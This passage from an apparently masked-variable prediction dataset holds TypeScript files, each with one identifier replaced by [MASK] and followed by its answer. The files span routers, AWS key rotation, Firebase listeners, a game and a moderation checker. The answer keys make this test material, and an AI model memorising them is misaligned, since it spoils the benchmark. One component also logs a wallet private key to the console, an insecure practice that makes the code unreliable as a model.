		this.add(handler, MethodEnum.PUT, paths);
	}

	postBind(handler: (c: Context) => void,...paths: string[]) {
		this.add(handler, MethodEnum.POST, paths);
	}

	deleteBind(handler: (c: Context) => void,...paths: string[]) {
		this.add(handler, MethodEnum.DELETE, paths);
	}

	private add(handler: (c: Context) => void, method: MethodEnum, paths: string[]) {
		const path = paths.join('/');
		let routes = this.routes[method];
		if (!routes) {
			routes = [];
			this.routes[method] = routes;
		}
		for (let r of routes) {
			if (r.path === path) {
				r.handler = handler;
				return;
			}
		}
		routes.push({
			path: path,
			handler: handler,
		});
	}

	onMessage(msg: MessageEvent) {
		readFile(msg.data).then(( [MASK] ) => {
			const array = new Uint8Array( [MASK] );
			const event = Event.deserializeBinary(array).toObject();
			const routes = this.routes[event.method];
			if (!routes) return;
			for (let r of routes) {
				if (r.path === event.path) {
					r.handler(new Context(event.data as Uint8Array));
					return;
				}
			}
		});
	}

	private serializeBinary(pb: jspb.Message, method: MethodEnum, paths: string[]): Uint8Array{
		const e = new Event();
		e.setMethod(method);
		e.setPath(paths.join('/'));
		if (pb) {
			e.setData(pb.serializeBinary());
		}
		return e.serializeBinary()
	}

	openBinary(pb: jspb.Message, ...paths: string[]): Uint8Array {
		return this.serializeBinary(pb, MethodEnum.OPEN, paths)
	}

	closeBinary(pb: jspb.Message, ...paths: string[]): Uint8Array {
		return this.serializeBinary(pb, MethodEnum.CLOSE, paths)
	}

	getBinary(pb: jspb.Message, ...paths: string[]): Uint8Array {
		return this.serializeBinary(pb, MethodEnum.GET, paths)
	}

	postBinary(pb: jspb.Message, ...paths: string[]): Uint8Array {
		return this.serializeBinary(pb, MethodEnum.POST, paths)
	}

	putBinary(pb: jspb.Message, ...paths: string[]): Uint8Array {
		return this.serializeBinary(pb, MethodEnum.PUT, paths)
	}

	deleteBinary(pb: jspb.Message, ...paths: string[]): Uint8Array {
		return this.serializeBinary(pb, MethodEnum.DELETE, paths)
	}
}

function readFile(blob: Blob): Promise<ArrayBuffer> {
	return new Promise<ArrayBuffer>((resolve, reject) => {
		const reader = new FileReader();
		reader.onloadend = () => {
			resolve(reader.result);
		}
		reader.onerror = (event) => {
			reject(event.error);
		}
		reader.readAsArrayBuffer(blob);
	});
}
",buffer
11,"import { KeyRotator } from ""@economist/aws-key-rotator"";
import { IAM } from ""aws-sdk"";
import { createCircleCIHandler } from ""./circleci"";
import { RotationJob } from ""./jobs"";

export function batchRotateKeys(iam: IAM, jobs: RotationJob[]) {
    const  [MASK] : Promise<void>[] = [];
    const failedJobs: { user: string, reason: any }[] = [];
    for (const job of jobs) {
        const keyHandler = createCircleCIHandler(job.vcsProvider, job.vcsUser, job.project, job.apiToken, job.accessKeyName, job.secretKeyName);
        const keyRotator = new KeyRotator(iam, keyHandler);

        const promise = keyRotator.rotateKeys(job.user)
            .catch((err) => {
                console.error(err);
                failedJobs.push({
                    user: job.user,
                    reason: err,
                });
            });

         [MASK] .push(promise);
    }

    return Promise.all( [MASK] )
        .then(() => {
            if (failedJobs.length !== 0) {
                const err = `Key rotation failed for the following users: ${JSON.stringify(failedJobs)}`;
                console.error(err);
                throw err;
            }

            console.log(`Successfully rotated the Access Keys for: ${jobs.map((job) => job.user)}`);
        });
}
",promises
12,"import fs from 'fs'
import path from 'path'
import matter from 'gray-matter'

const postsDirectory = path.join(process.cwd(), 'content/blogs')

export interface Source {
    title: string;
    url: string;
    author?: string;
    publishedDate?: string;
}

export interface BlogPost {
    slug: string
    title: string
    date: string
    description: string
    image: string
    tags: string[]
    content: string
    sources?: Source[]
}

export function getAllBlogPosts() {
    const fileNames = fs.readdirSync(postsDirectory)
    const  [MASK]  = fileNames.map((fileName) => {
        const slug = fileName.replace(/\.md$/, '')
        const fullPath = path.join(postsDirectory, fileName)
        const fileContents = fs.readFileSync(fullPath, 'utf8')
        const { data, content } = matter(fileContents)
        
        return {
            slug,
            content,
            ...data,
        } as BlogPost
    })

    return  [MASK] .sort((a, b) => (a.date < b.date ? 1 : -1))
}

export function getBlogPost(slug: string): BlogPost | null {
    try {
        const fullPath = path.join(postsDirectory, `${slug}.md`)
        const fileContents = fs.readFileSync(fullPath, 'utf8')
        const { data, content } = matter(fileContents)
        
        return {
            slug,
            content,
            ...data,
        } as BlogPost
    } catch {
        return null
    }
}",allPostsData
13,"import { Assets, Exports } from './typings/assets.typings';
import sendRequest from './utils/send-request';
import endpoints from './utils/endpoints';

/**
 * Gets all asset paths in the current game version
 * @returns Array of paths
 */
async function getAssets(): Promise<Assets> {
  return await sendRequest<Assets>(endpoints.Assets);
}

/**
 * Gets all asset paths in the supplied pak number (does technically support pakchunk 0, 10, and 20, but it's not intended for that use)
 * @param pak Pak Number
 * @returns Array of Paths
 */
async function getAssetsFromPak(pak: string): Promise<Assets> {
  if (!pak) {
    throw new Error('Please provide a pak number');
  }

  const  [MASK]  = Number(pak);

  if (! [MASK] ) {
    throw new Error('Please provide a valid pak number')
  };

  return await sendRequest<Assets>(`${endpoints.Assets_Dynamic}/${pak}`);
}

/**
 *  Gets the properties, or visible export, of a specified asset path.
 * @param path Path you want to export
 * @param raw Force Raw Export
 * @returns Json Export or if Image Buffr of the image
 */
async function exportPath(path: string, raw: boolean = false): Promise<Exports | Buffer | undefined> {
  if (!path) {
    throw new Error('Please provide a path you want to export');
  }

  const data = await sendRequest<Exports | Buffer>(endpoints.Assets_Export, {
    path,
    raw,
  });

  if (typeof data === 'object') {
    const result = await Promise.resolve(<Exports>data);

    return result;
  } else if (typeof data === 'string') {
    const data = await sendRequest<Buffer>(endpoints.Assets_Export, {
      path,
      raw,
    }, 'GET', {
      responseType: 'arraybuffer',
    });

    return data;
  }
}

export { getAssets, getAssetsFromPak, exportPath };
",parsed
14,"import { Component, OnInit } from '@angular/core';
import { Web3Service } from '../../../services/web3/web3.service';
import { PersonService } from '../../../services/person/person.service';
import { AssetService } from '../../../services/asset/asset.service';

declare let require: any;
const assetListArtifacts = require('../../../../../build/contracts/AssetList.json');
const personListArtifacts = require('../../../../../build/contracts/PersonList.json');

@Component({
  selector: 'app-admin-dashboard',
  templateUrl: './admin-dashboard.component.html',
  styleUrls: ['./admin-dashboard.component.css'],
})
export class AdminDashboardComponent implements OnInit {
  AssetList: any;
  PersonList: any;
  newAsset: any;
  assets: any;
  newPerson: any;
  persons: any;

  constructor(
    private web3Service: Web3Service,
    private personService: PersonService,
    private assetService: AssetService
  ) {
    this.newAsset = {
      name: null,
      desc: null,
    };
    this.assets = [];
    this.newPerson = {
      name: null,
      age: null,
    };
    this.persons = [];
  }

  ngOnInit() {}

  generateAccount() {
    var mnemonic = this.web3Service.generateMnemonic();
    console.log('seed words = ' + mnemonic);
    var wallet = this.web3Service.generateWalletFromSeed(mnemonic);
    var address = wallet.getChecksumAddressString();
    var publicKey = wallet.getPublicKeyString();
    var privateKey = wallet.getPrivateKeyString();
    console.log('address = ' + address);
    console.log('publicKey = ' + publicKey);
    console.log('privateKey = ' + privateKey);
    // var message = 'Vivek';
    var message1 = {
      firstname: 'Vivek',
      lastname: 'Badrinarayan',
    };
    var message2 = {
      lastname: 'Badrinarayan',
      firstname: 'Vivekk',
    };
    var signature1 = this.web3Service.sign(message1, privateKey);
    console.log(signature1);
    var  [MASK]  = this.web3Service.recoverFromSignatureObj(signature1);
    console.log('recover = ' +  [MASK] );
    var signature2 = this.web3Service.sign(message2, privateKey);
    console.log(signature2);
    var recover2 = this.web3Service.recoverFromSignatureObj(signature2);
    console.log('recover = ' + recover2);
  }

  async createAsset(event, form) {
    event.preventDefault();
    if (!form.valid) {
      alert('Please fill all fields');
      return;
    }
    let result = await this.assetService.createAsset(this.newAsset);
    if (!result.success) {
      console.log(result['message']);
    } else {
      console.log('Transaction Successful! TxHash: ' + result['transaction']);
      alert('Transaction Successful! TxHash: ' + result['transaction']);
    }
    this.newAsset.name = null;
    this.newAsset.desc = null;
  }

  async getAssets() {
    this.assets = await this.assetService.getAssets();
    console.log(this.assets);
  }

  async createPerson(event, form) {
    event.preventDefault();
    if (!form.valid) {
      alert('Please fill all fields');
      return;
    }
    let result = await this.personService.createPerson(this.newPerson);
    if (!result['success']) {
      console.log(result['message']);
    } else {
      console.log('Transaction Successful! TxHash: ' + result['transaction']);
      alert('Transaction Successful! TxHash: ' + result['transaction']);
    }
    this.newPerson.name = null;
    this.newPerson.age = null;
  }

  async getPersons() {
    this.persons = await this.personService.getPersons();
    console.log(this.persons);
  }
}
",recover1
15,"const timeMessage = '⏰ The checks finished in';
console.time(timeMessage);
// Load config at the beginning
import { FileOption, getConfig } from './utils/config.js';
const config = await getConfig();

import fs from 'fs';
import path from 'path';
import { VFile } from 'vfile';
import { VFileMessage } from 'vfile-message';
import {
  FileExtension,
  getAllContentFileNamesWithExtension,
  getFilePathFromRepoRoot,
  outputDirectory,
  readFileSync,
  repositoryRoot,
  writeListToFile,
} from './utils/files.js';
import {
  getFilesChangedComparedToBaseByExtension,
  getFilesChangedInLastCommitByExtensions,
} from './utils/git.js';
import {
  GitHubLabel,
  addLabelToIssue,
  getNewPullRequestCommentForVFileMessage,
  postPullRequestComments,
  pullRequestReviewComments,
} from './utils/github.js';
import {
  REQUIRED_CHECKS,
  RETEXT_INAPPROPRIATE,
  RETEXT_PROFANITIES,
  RETEXT_SPELL,
  compileMdx,
  getReTextAnalysis,
} from './utils/unified.js';
import {
  Locale,
  checkEnglishVersionExists,
  checkFileIsTranslatable,
  checkFileImportEquality,
  checkMdxEquality,
  isLocaleFile,
  outdatedTranslationFiles,
  checkVoidTagsHaveNoChildren,
} from './utils/localization.js';
import { Emoji } from './utils/utils.js';
import { deduplicate } from './utils/utils.js';
import {
  allowedHttpLinksTextFileFullPath,
  checkContentLinks,
  allNonRobloxHttpLinks,
  checkUnusedAssets,
} from './utils/links.js';
import {
  addToSummaryOfRequirements,
  addToSummaryOfSuggestions,
  logSummariesToConsole,
  summaryOfRequirements,
} from './utils/console.js';
import { checkMarkdownLint } from './utils/markdownlint.js';
import { checkEngineReferenceContent } from './utils/engineReferenceChecks.js';
import {
  containsOpenApiSchema,
  validateOpenApiSchema,
} from './utils/openApiSchemaChecks.js';

let filesToCheck: string[] = [];
let labelPullRequestAsInappropriate = false;
let missSpelledWords: string[] = [];

const getFilesToCheck = async () => {
  console.log(`::group::${Emoji.OpenFileFolder} Getting changed files`);
  if (config.files === FileOption.All) {
    if (config.checkLocalizedContent === true) {
      for (const locale of Object.values(Locale)) {
        filesToCheck.push(
          ...getAllContentFileNamesWithExtension({
            locale,
            fileExtension: FileExtension.MARKDOWN,
          }),
          ...getAllContentFileNamesWithExtension({
            locale,
            fileExtension: FileExtension.YAML,
          }),
          ...getAllContentFileNamesWithExtension({
            locale,
            fileExtension: FileExtension.JSON,
          })
        );
      }
    } else {
      filesToCheck.push(
        ...getAllContentFileNamesWithExtension({
          locale: Locale.EN_US,
          fileExtension: FileExtension.MARKDOWN,
        }),
        ...getAllContentFileNamesWithExtension({
          locale: Locale.EN_US,
          fileExtension: FileExtension.YAML,
        }),
        ...getAllContentFileNamesWithExtension({
          locale: Locale.EN_US,
          fileExtension: FileExtension.JSON,
        })
      );
    }
    filesToCheck.push(...['README.md', 'STYLE.md', 'CODE_OF_CONDUCT.md']);
  } else if (config.files === FileOption.Changed) {
    filesToCheck = await getFilesChangedComparedToBaseByExtension({
      baseBranch: config.baseBranch,
      fileExtensions: [
        FileExtension.MARKDOWN,
        FileExtension.YAML,
        FileExtension.JSON,
      ],
    });
  } else if (config.files === FileOption.LastCommit) {
    filesToCheck = await getFilesChangedInLastCommitByExtensions([
      FileExtension.MARKDOWN,
      FileExtension.YAML,
      FileExtension.JSON,
    ]);
  }
  if (!config.checkLocalizedContent) {
    filesToCheck = filesToCheck.filter((filePath) => {
      return isLocaleFile(filePath, Locale.EN_US);
    });
  }
  const prefixesToIgnore = [
    '.github/',
    'content/common/navigation/',
    'tools/',
    'content/en-us/reference/engine/code_samples/',
  ];
  filesToCheck = filesToCheck.filter((filePath) => {
    return !prefixesToIgnore.some((prefix) => filePath.startsWith(prefix));
  });
  console.log(`Files to check (${filesToCheck.length}):`, filesToCheck);
  console.log('::endgroup::');
};

const processRetextVFileMessage = ({
  filePathFromRepoRoot,
  message,
}: {
  filePathFromRepoRoot: string;
  message: VFileMessage;
}) => {
  const  [MASK]  = `In ${filePathFromRepoRoot}, line ${message.line}, column ${message.column}, ${message.reason}`;
  let isRequiredCheck = false;
  if (message.source) {
    if (
      message.source === RETEXT_INAPPROPRIATE ||
      message.source === RETEXT_PROFANITIES
    ) {
      labelPullRequestAsInappropriate = true;
    }

    if (message.source === RETEXT_SPELL && message.actual) {
      missSpelledWords.push(message.actual);
    }

    if (REQUIRED_CHECKS.has(message.source)) {
      isRequiredCheck = true;
      addToSummaryOfRequirements(
        `${Emoji.NoEntry} Requirement: ${ [MASK] }`
      );
    } else {
      addToSummaryOfSuggestions(`${Emoji.Bulb} Suggestion: ${ [MASK] }`);
    }
  }

  // Always print required messages, suggestions are optional
  if (isRequiredCheck || !config.onlyRequiredChecks) {
    console.log(`${Emoji.EnvelopeWithArrow} Message from check:`);
    console.log(isRequiredCheck ? Emoji.NoEntry : Emoji.Bulb, message);
  }

  // Only comment required checks to avoid too much noise
  if (isRequiredCheck && config.postPullRequestComments) {
    const pullRequestReviewComment = getNewPullRequestCommentForVFileMessage({
      commit_id: config.commitHash,
      isRequiredCheck,
      message,
      path: filePathFromRepoRoot,
      pull_number: config.pullRequestNumber,
      repository: config.repository,
    });
    console.log(`${Emoji.Mailbox} Comment to post:`);
    console.log(pullRequestReviewComment);
    pullRequestReviewComments.push(pullRequestReviewComment);
  }
};

const processRetextVFileMessages = ({
  filePathFromRepoRoot,
  retextVFile,
}: {
  filePathFromRepoRoot: string;
  retextVFile: VFile;
}) => {
  if (retextVFile.messages.length > 0) {
    retextVFile.messages.forEach((message) => {
      processRetextVFileMessage({ filePathFromRepoRoot, message });
    });
  } else {
    console.log(`${Emoji.WhiteCheckMark} No messages from checks`);
  }
};

const postCommentsToGitHub = async () => {
  await postPullRequestComments({
    pullRequestReviewComments,
    pull_number: config.pullRequestNumber,
    repository: config.repository,
  });
  const labelsForPullRequest = [
    GitHubLabel.ChangesRequested,
    ...(labelPullRequestAsInappropriate ? [GitHubLabel.Inappropriate] : []),
  ];
  console.log(`::group::${Emoji.Label} Labeling pull request`);
  const labelResponse = await addLabelToIssue({
    labels: labelsForPullRequest,
    issue_number: config.pullRequestNumber,
    repository: config.repository,
  });
  console.log(labelResponse);
  console.log('::endgroup::');
};

try {
  await getFilesToCheck();
  for (const filePath of filesToCheck) {
    const filePathFromRepoRoot = getFilePathFromRepoRoot(
      filePath,
      repositoryRoot
    );
    const isMarkdownFile = filePath.endsWith(FileExtension.MARKDOWN);
    const isYamlFile = filePath.endsWith(FileExtension.YAML);
    const isJsonFile = filePath.endsWith(FileExtension.JSON);
    console.log(`::group::${Emoji.Mag} Checking`, filePathFromRepoRoot);
    if (!fs.existsSync(filePath)) {
      console.log(
        `${Emoji.NoEntry} File does not exist: ${filePathFromRepoRoot}`
      );
      console.log('::endgroup::');
      continue;
    }
    const fileContent = readFileSync(filePath);

    if (isJsonFile) {
      if (containsOpenApiSchema(fileContent)) {
        await validateOpenApiSchema({
          config,
          filePath: filePathFromRepoRoot,
        });
      }

      // The remaining checks are not applicable to JSON files
      console.log('::endgroup::');
      continue;
    }

    if (
      config.checkLocalizedContent &&
      !isLocaleFile(filePathFromRepoRoot, Locale.EN_US) // skip for English
    ) {
      checkVoidTagsHaveNoChildren(filePathFromRepoRoot);
      checkEnglishVersionExists(filePathFromRepoRoot);
      await checkMdxEquality(filePathFromRepoRoot, fileContent);
      checkFileImportEquality(filePathFromRepoRoot, fileContent);
      checkFileIsTranslatable(filePathFromRepoRoot);
    }
    if (config.checkRetextAnalysis) {
      const retextVFile = (await getReTextAnalysis(
        fileContent
      )) as unknown as VFile;
      if (config.debug) {
        console.log(retextVFile);
      }
      processRetextVFileMessages({ retextVFile, filePathFromRepoRoot });
    }
    if (isMarkdownFile) {
      checkVoidTagsHaveNoChildren(filePathFromRepoRoot);
      const mdxVFileMessage = (await compileMdx(fileContent)) as VFileMessage;
      if (mdxVFileMessage) {
        processRetextVFileMessage({
          message: mdxVFileMessage,
          filePathFromRepoRoot,
        });
      }
    }
    if (config.checkHttpLinks || config.checkRelativeLinks) {
      checkContentLinks({
        config,
        fileContent,
        filePath: filePathFromRepoRoot,
      });
    }
    if (isMarkdownFile && config.checkMarkdownLint) {
      checkMarkdownLint({
        config,
        fileContent,
        filePath: filePathFromRepoRoot,
      });
    }
    if (isYamlFile) {
      await checkEngineReferenceContent({
        config,
        fileContent,
        filePath: filePathFromRepoRoot,
      });
    }
    console.log('::endgroup::');
  }
  if (config.checkUnusedAssets) {
    checkUnusedAssets({ config });
  }
  if (config.debug) {
    writeListToFile(
      path.join(outputDirectory, 'misspelled-words.txt'),
      deduplicate(missSpelledWords).sort(),
      'utf-8'
    );
    writeListToFile(
      allowedHttpLinksTextFileFullPath,
      deduplicate(allNonRobloxHttpLinks).sort(),
      'utf-8'
    );
  }
  if (config.checkLocalizedContent && outdatedTranslationFiles.length > 0) {
    const outdatedTranslationFilesPath = path.join(
      outputDirectory,
      'outdated-translation-files.txt'
    );
    writeListToFile(
      outdatedTranslationFilesPath,
      outdatedTranslationFiles,
      'utf-8'
    );
  }
  if (config.postPullRequestComments && pullRequestReviewComments.length > 0) {
    await postCommentsToGitHub();
  }
  logSummariesToConsole(config);
} catch (e) {
  console.error(`${Emoji.NoEntry} Error running the check, exiting 911`, e);
  process.exit(911);
  console.log('Exit code 911'); // This should never output
}

console.timeEnd(timeMessage);
if (summaryOfRequirements) {
  console.log(""::error::There are required checks that didn't pass. Exiting 1"");
  process.exit(1);
  console.log('Exit code 1'); // This should never output
}
",messageSummary
16,"import { indexSearchParameterBundle, indexStructureDefinitionBundle } from '@medplum/core';
import { readJson, SEARCH_PARAMETER_BUNDLE_FILES } from '@medplum/definitions';
import { Bundle, Claim, HumanName, SearchParameter } from '@medplum/fhirtypes';
import { MockClient } from '@medplum/mock';
import { createWriteStream } from 'fs';
import PdfPrinter from 'pdfmake';
import { formatHumanName, getCms1500DocumentDefinition, handler } from './cms-1500-pdf';
import { fullAnswer } from './cms-1500-test-data';

describe('CMS 1500 PDF Bot', async () => {
  let medplum: MockClient;

  beforeAll(() => {
    indexStructureDefinitionBundle(readJson('fhir/r4/profiles-types.json') as Bundle);
    indexStructureDefinitionBundle(readJson('fhir/r4/profiles-resources.json') as Bundle);
    for (const filename of SEARCH_PARAMETER_BUNDLE_FILES) {
      indexSearchParameterBundle(readJson(filename) as Bundle<SearchParameter>);
    }
  });

  beforeEach(async () => {
    medplum = new MockClient();
  });

  test.skip('Actual PDF', async () => {
    await medplum.executeBatch(fullAnswer);

    const claim = (await medplum.searchOne('Claim', {
      identifier: 'example-claim-cms1500',
    })) as Claim;

    const docDefinition = await getCms1500DocumentDefinition(medplum, claim);

    const printer = new PdfPrinter({
      Helvetica: {
        normal: 'Helvetica',
        bold: 'Helvetica-Bold',
        italics: 'Helvetica-Oblique',
        bolditalics: 'Helvetica-BoldOblique',
      },
    });

    const pdfDoc = printer.createPdfKitDocument(docDefinition);
    pdfDoc.pipe(createWriteStream(`cms-1500-${Date.now()}.pdf`));
    pdfDoc.end();
  });

  test('Fully answered CMS1500 pdf', async () => {
    await medplum.executeBatch(fullAnswer);

    const claim = (await medplum.searchOne('Claim', {
      identifier: 'example-claim-cms1500',
    })) as Claim;

    const  [MASK]  = await handler(medplum, {
      bot: { reference: 'Bot/123' },
      input: claim,
      secrets: {},
      contentType: 'application/fhir+json',
    });

    expect( [MASK] ).toBeDefined();
    expect( [MASK] .resourceType).toStrictEqual('Media');
    expect( [MASK] .content.contentType).toStrictEqual('application/pdf');
  });
});

describe('formatHumanName', () => {
  test('formats full name with middle name', () => {
    const name: HumanName = {
      family: 'Smith',
      given: ['John', 'Michael'],
    };
    expect(formatHumanName(name)).toBe('Smith, <NAME>');
  });

  test('formats name without middle name', () => {
    const name: HumanName = {
      family: 'Smith',
      given: ['John'],
    };
    expect(formatHumanName(name)).toBe('<NAME>');
  });

  test('formats multiple middle names', () => {
    const name: HumanName = {
      family: 'Smith',
      given: ['John', 'Michael', 'Robert'],
    };
    expect(formatHumanName(name)).toBe('Smith, John, <NAME>');
  });

  test('formats family name only', () => {
    const name: HumanName = {
      family: 'Smith',
    };
    expect(formatHumanName(name)).toBe('Smith');
  });

  test('formats given names only', () => {
    const name: HumanName = {
      given: ['John', 'Michael'],
    };
    expect(formatHumanName(name)).toBe('<NAME>');
  });

  test('handles empty name', () => {
    const name: HumanName = {};
    expect(formatHumanName(name)).toBe('');
  });

  test('handles undefined fields', () => {
    const name: HumanName = {
      family: undefined,
      given: undefined,
    };
    expect(formatHumanName(name)).toBe('');
  });
});
",response
17,"import { GameState } from ""./models/GameState.ts"";
import BulletController from ""./controllers/BulletController.ts"";
import EnemyController from ""./controllers/EnemyController.ts"";
import Player from ""./models/Player.ts"";

const background = new Image();
background.src = ""assets/images/background.jpg"";

export class GameEngine {
  private lastFrameTime = 0;
  private readonly targetFPS = 60;
  private readonly targetFrameTime = 1000 / this.targetFPS;
  private gameState: GameState;
  private playerBulletController: BulletController;
  private enemyBulletController: BulletController;
  private enemyController: EnemyController;
  private player: Player;

  constructor(
    private canvas: HTMLCanvasElement,
    private ctx: CanvasRenderingContext2D,
  ) {
    this.gameState = new GameState(canvas, ctx);
    this.playerBulletController = new BulletController(
      canvas,
      10,
      ""#d0620e"",
      true,
    );
    this.enemyBulletController = new BulletController(
      canvas,
      4,
      ""white"",
      false,
    );
    this.enemyController = new EnemyController(
      canvas,
      this.enemyBulletController,
      this.playerBulletController,
    );
    this.player = new Player(canvas, 3, this.playerBulletController);
  }

  start() {
    this.gameState.reset();
    requestAnimationFrame(this.gameLoop);
  }

  private gameLoop = (timestamp: number) => {
    const deltaTime = timestamp - this.lastFrameTime;

    if (deltaTime >= this.targetFrameTime) {
      this.ctx.clearRect(0, 0, this.canvas.width, this.canvas.height);
      if (background.complete) {
        this.ctx.drawImage(
          background,
          0,
          0,
          this.gameState.canvas.width,
          this.gameState.canvas.height,
        );
      }
      this.lastFrameTime = timestamp - (deltaTime % this.targetFrameTime);
    }
    if (!this.gameState.isGameOver) {
      this.update();
      this.render();
      requestAnimationFrame(this.gameLoop);
    } else {
      this.displayGameOver();
    }
  };

  private update() {
    this.enemyController.update();
    this.player.update();
    this.playerBulletController.update();
    this.enemyBulletController.update();

    if (this.enemyBulletController.collideWith(this.player)) {
      this.handlePlayerGameOver();
    }
  }
  private render() {
    this.enemyController.draw(this.ctx);
    this.player.draw(this.ctx);
    this.playerBulletController.draw(this.ctx);
    this.enemyBulletController.draw(this.ctx);
  }

  // to implement on update();
  private handlePlayerGameOver() {
    this.gameState.isGameOver = true;
    this.gameState.didWin = false;
  }

  private displayGameOver() {
    let text = this.gameState.didWin ? ""You Win"" : ""Game Over"";
    let  [MASK]  = this.gameState.didWin ? 3.5 : 5;

    this.ctx.fillStyle = ""white"";
    this.ctx.font = ""70px Arial"";
    this.ctx.fillText(
      text,
      this.gameState.canvas.width /  [MASK] ,
      this.gameState.canvas.height / 2,
    );
  }
}
",textOffset
18,"import { setRequestLocale } from 'next-intl/server';
import { notFound } from ""next/navigation"";

import { buildIndexJSON } from ""@/blogs/post""
import { locales } from ""@/navigation""

export async function generateStaticParams() {
  return locales.map((locale) => ({locale}))
}

export async function GET(req: Request,  [MASK] :{params: Promise<{locale:string}>}) {
  const params = await  [MASK] .params;

  const {
    locale
  } = params;

  if (!locales.includes(locale as any)) notFound()

  setRequestLocale(locale)
  const json = await buildIndexJSON(locale)
  const buffer = Buffer.from(json, 'utf8')
  const headers = new Headers()
  headers.append('Content-Disposition', 'attachment; filename=""index.json""')
  headers.append('Content-Type', 'application/json')
  return new Response(buffer, {headers})
}",props
19,"import * as functions from ""firebase-functions"";
import {initializeApp} from ""firebase-admin/app"";
import {getFirestore} from ""firebase-admin/firestore"";

const app = initializeApp();
const db = getFirestore(app);

exports.assistantVotesCreatedListener = functions.firestore
    .document(""assistantVotes/{assistantVoteId}"")
    // eslint-disable-next-line @typescript-eslint/no-unused-vars
    .onCreate(async (doc) => {
      const batch = db.batch();
      let assistantStatRef: FirebaseFirestore.DocumentReference<FirebaseFirestore.DocumentData>;
      const assistantStats = await db.collection(""assistantStats"").get();
      let likes = 0;
      let dislikes = 0;
      if (assistantStats.docs.length) {
        assistantStatRef = db.collection(""assistantStats"").doc(assistantStats.docs[0].id);
        likes = assistantStats.docs[0].data()?.likes || 0;
        dislikes = assistantStats.docs[0].data()?.dislikes || 0;
      } else {
        assistantStatRef = db.collection(""assistantStats"").doc();
      }
      const assistantVote = doc.data();
      const vote: null | boolean = typeof assistantVote?.vote === ""boolean"" ? assistantVote?.vote : null;
      if (vote === true) {
        likes += 1;
      } else if (vote === false) {
        dislikes += 1;
      }

      if (assistantStats.docs.length) {
        batch.update(assistantStatRef, {
          likes,
          dislikes,
        });
      } else {
        batch.set(assistantStatRef, {
          likes,
          dislikes,
        });
      }

      await batch.commit();
    });

exports.assistantVotesUpdatedListener = functions.firestore
    .document(""assistantVotes/{assistantVoteId}"")
// eslint-disable-next-line @typescript-eslint/no-unused-vars
    .onUpdate(async (change) => {
      const batch = db.batch();
      let assistantStatRef: FirebaseFirestore.DocumentReference<FirebaseFirestore.DocumentData>;
      const assistantStats = await db.collection(""assistantStats"").get();
      let likes = 0;
      let dislikes = 0;
      if (assistantStats.docs.length) {
        assistantStatRef = db.collection(""assistantStats"").doc(assistantStats.docs[0].id);
        likes = assistantStats.docs[0].data()?.likes || 0;
        dislikes = assistantStats.docs[0].data()?.dislikes || 0;
      } else {
        assistantStatRef = db.collection(""assistantStats"").doc();
      }

      const assistantVote = change.after.data();
      const vote: null | boolean = typeof assistantVote?.vote === ""boolean"" ? assistantVote?.vote : null;
      if (vote === true) {
        likes += 1;
      } else if (vote === false) {
        dislikes += 1;
      }

      const  [MASK]  = change.before.data();
      const _vote: null | boolean = typeof  [MASK] ?.vote === ""boolean"" ?  [MASK] ?.vote : null;
      if (_vote === true) {
        likes -= 1;
      } if (_vote === false) {
        dislikes -= 1;
      }

      if (assistantStats.docs.length) {
        batch.update(assistantStatRef, {
          likes,
          dislikes,
        });
      } else {
        batch.set(assistantStatRef, {
          likes,
          dislikes,
        });
      }

      await batch.commit();
    });
",pAssistantVote
20,"import { HANDLE_CHECKS } from ""./constants.js"";
import logger from ""./logger.js"";
import {
  createAccountReport,
  createAccountComment,
  createAccountLabel,
} from ""./moderation.js"";

export const checkHandle = async (
  did: string,
  handle: string,
  time: number,
) => {
  // Get a list of labels
  const labels: string[] = Array.from(
    HANDLE_CHECKS,
    (handleCheck) => handleCheck.label,
  );

  // iterate through the labels
  labels.forEach((label) => {
    const  [MASK]  = HANDLE_CHECKS.find(
      (handleCheck) => handleCheck.label === label,
    );

    if ( [MASK] ?.ignoredDIDs) {
      if ( [MASK] .ignoredDIDs.includes(did)) {
        logger.info(`Whitelisted DID: ${did}`);
        return;
      }
    }

    if ( [MASK] !.check.test(handle)) {
      // False-positive checks
      if ( [MASK] ?.whitelist) {
        if ( [MASK] ?.whitelist.test(handle)) {
          logger.info(`Whitelisted phrase found for: ${handle}`);
          return;
        }
      }

      if ( [MASK] ?.toLabel === true) {
        logger.info(`[CHECKHANDLE]: Labeling ${did} for ${ [MASK] !.label}`);
        {
          createAccountLabel(
            did,
            `${ [MASK] !.label}`,
            `${time}: ${ [MASK] !.comment} - ${handle}`,
          );
        }
      }

      if ( [MASK] ?.reportAcct === true) {
        logger.info(`[CHECKHANDLE]: Reporting ${did} for ${ [MASK] !.label}`);
        createAccountReport(did, `${time}: ${ [MASK] !.comment} - ${handle}`);
      }

      if ( [MASK] ?.commentAcct === true) {
        logger.info(
          `[CHECKHANDLE]: Commenting on ${did} for ${ [MASK] !.label}`,
        );
        createAccountComment(did, `${time}: ${ [MASK] !.comment} - ${handle}`);
      }
    }
  });
};
",checkList
21,"/* eslint-disable @typescript-eslint/no-explicit-any */
import { JestChrome } from ""jest-chrome/types/jest-chrome""
import { sendMessage } from ""./sendMessage""

describe(""sendMessage"", () => {
    it(""should send the message correctly"", async () => {
        const message: Message = { type: ""rating"", subType: ""get"" }
        const response: MessageResponse = { statusCode: 200, data: 2 }

        const jestChrome = chrome as any as JestChrome

        jestChrome.runtime.sendMessage.mockImplementation(
            (_message: any, callback: any) => {
                return callback(response)
            },
        )

        const  [MASK]  = await sendMessage(message)

        expect( [MASK] ).toEqual(2)
        expect(chrome.runtime.sendMessage).toHaveBeenCalledWith(
            message,
            expect.any(Function),
        )
    })
    it(""should resolve the promise if response success"", (done) => {
        const message: Message = { type: ""rating"", subType: ""get"" }
        const response: MessageResponse = { statusCode: 200, data: 2 }

        const jestChrome = chrome as any as JestChrome

        jestChrome.runtime.sendMessage.mockImplementation(
            (_message: any, callback: any) => {
                return callback(response)
            },
        )

        sendMessage(message).then((data) => {
            expect(data).toBe(2)
            done()
        })
    })
    it(""should reject the promise if response fails"", (done) => {
        const message: Message = { type: ""rating"", subType: ""get"" }
        const response: MessageResponse = {
            statusCode: 500,
            data: ""background script error"",
        }

        const jestChrome = chrome as any as JestChrome

        jestChrome.runtime.sendMessage.mockImplementation(
            (_message: any, callback: any) => {
                return callback(response)
            },
        )

        sendMessage(message).catch((error) => {
            expect(error).toBe(""background script error"")
            done()
        })
    })
})
",promiseResult
22,"import {
  BASE_URL,
  COUNTERS_ENDPOINT,
  LOGS_ENDPOINT,
  TIMERS_ENDPOINT,
} from ""./constants"";
